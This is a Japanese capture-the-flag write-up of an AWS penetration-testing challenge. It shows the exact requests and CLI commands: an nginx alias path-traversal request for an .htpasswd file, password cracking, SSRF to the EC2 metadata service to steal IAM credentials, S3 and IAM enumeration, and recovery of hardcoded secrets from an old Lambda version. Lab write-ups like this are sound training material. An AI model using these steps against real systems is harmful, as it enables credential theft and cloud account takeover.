[Hard] AWS Pentesting Journey
まず、nginx.confを見ると以下の箇所でいつものパストラバーサルがある。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb
location /assets { alias /usr/share/static/; }
これを利用して以下のように/usr/share/secret/.htpasswd
を取ってくる。
GET /assets../secret/.htpasswd HTTP/1.1 Host: apjweb.scjdaysctf2023.net Connection: close
sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY.
と得られる。
johnでクラックしてみるとクラックできてパスワードが得られる。
password (sjctf@dmin)
この認証情報で/admin/
に入れる。
phpMyAdminが動いているが何か面白そうなものは得られない。
location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ { proxy_pass http://$proxy_host/$proxy_path; proxy_set_header Host $proxy_host; }
なんかSSRFできそうな雰囲気があり、調べるとSSRFできる。
https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
よって
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/
みたいにしてみると、いつもの出力が得られるので巡回する。
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
ここを見ると認証情報が得られる。
"AccessKeyId" : "[REDACTED]", "SecretAccessKey" : "[REDACTED]", "Token" : "[REDACTED]",
これを以下のように入れて、
[ctf-hard-aws-pentesting-journey] aws_access_key_id = [REDACTED] aws_secret_access_key = [REDACTED] aws_session_token = [REDACTED]
色々巡回すると、S3に面白そうなファイルが置いてある。
$ aws s3 ls --profile ctf-hard-aws-pentesting-journey 2023-08-13 23:13:07 backup-37szjp8pny7xx01 2023-08-26 22:43:13 camouflagedrop-wxhqft4lqf-assets-wxhqft4lqf-assets 2023-08-26 22:39:22 camouflagedrop-wxhqft4lqf-web-wxhqft4lqf-static 2023-08-22 20:16:14 cdk-hnb659fds-assets-055450064556-ap-northeast-1 2023-08-25 03:05:46 file-storage-afeffefespntbaiw7o5 2023-08-06 21:55:59 himituno-bucket1 2023-08-06 21:58:33 himituno-bucket2 2023-08-06 23:08:46 himituno-bucket3 2023-08-27 02:41:30 my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf 2023-08-22 20:56:47 s3misssignurl-t6j4qj4r-assets-t6j4qj4r-assets-bucket 2023-08-22 20:52:31 s3misssignurl-t6j4qj4r-web-t6j4qj4r-static-host-bucket 2023-08-24 04:24:09 totemo-kawaii-neko-no-namae-ha-lise-desu 2023-08-27 01:18:59 ulxmhiw3jroec7sclynr06fkvhqssf $ aws s3 ls s3://backup-37szjp8pny7xx01 --profile ctf-hard-aws-pentesting-journey PRE dbbackup/ 2023-08-14 03:02:43 99 dboperator_accessKeys.csv $ aws s3 cp s3://backup-37szjp8pny7xx01 . --profile ctf-hard-aws-pentesting-journey --recursive
何やら大切そうなデータが見つかる。
別のDBオペレータのアクセスキーが入っている。
$ aws configure --profile ctf-hard-aws-pentesting-journey-dboperator AWS Access Key ID [None]: [REDACTED] AWS Secret Access Key [None]: [REDACTED] Default region name [None]: ap-northeast-1 Default output format [None]: $ aws sts get-caller-identity --profile ctf-hard-aws-pentesting-journey-dboperator { "UserId": "[REDACTED]", "Account": "[REDACTED]", "Arn": "arn:aws:iam::055450064556:user/dboperator" } $ aws iam list-attached-user-policies --user-name dboperator --profile ctf-hard-aws-pentesting-journey-dboperator { "AttachedPolicies": [ { "PolicyName": "dboperator", "PolicyArn": "arn:aws:iam::055450064556:policy/dboperator" } ] } $ aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator { "Policy": { "PolicyName": "dboperator", "PolicyId": "[REDACTED]", "Arn": "arn:aws:iam::055450064556:policy/dboperator", "Path": "/", "DefaultVersionId": "v6", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "CreateDate": "2023-08-13T18:18:19+00:00", "UpdateDate": "2023-08-13T18:57:09+00:00", "Tags": [] } } $ aws iam get-policy-version --version-id v6 --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "lambda:List*", "lambda:GetFunction", "lambda:InvokeFunction" ], "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*" }, { "Effect": "Allow", "Action": [ "iam:Get*", "iam:List*" ], "Resource": [ "arn:aws:iam::055450064556:policy/dboperator", "arn:aws:iam::055450064556:user/dboperator" ] } ] }, "VersionId": "v6", "IsDefaultVersion": true, "CreateDate": "2023-08-13T18:57:09+00:00" } } $ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator "Location": "[REDACTED]"
lambdaの関数が参照可能。DBバックアップのために実行しているlambdaのスクリプトっぽい…が何もない。
バージョンを見てみると、複数バージョンあった。
$ aws lambda list-versions-by-function --function-name 'db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator "Version": "1", "Version": "2", $ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator --qualifier 1 ... "Location": "[REDACTED]"
古いバージョンのコードが取得でき、こちらでは認証情報がそのまま格納されていた。
これを使って、phpmyadminに入るとフラグが入ったsecretdataというデータベースが見つかる。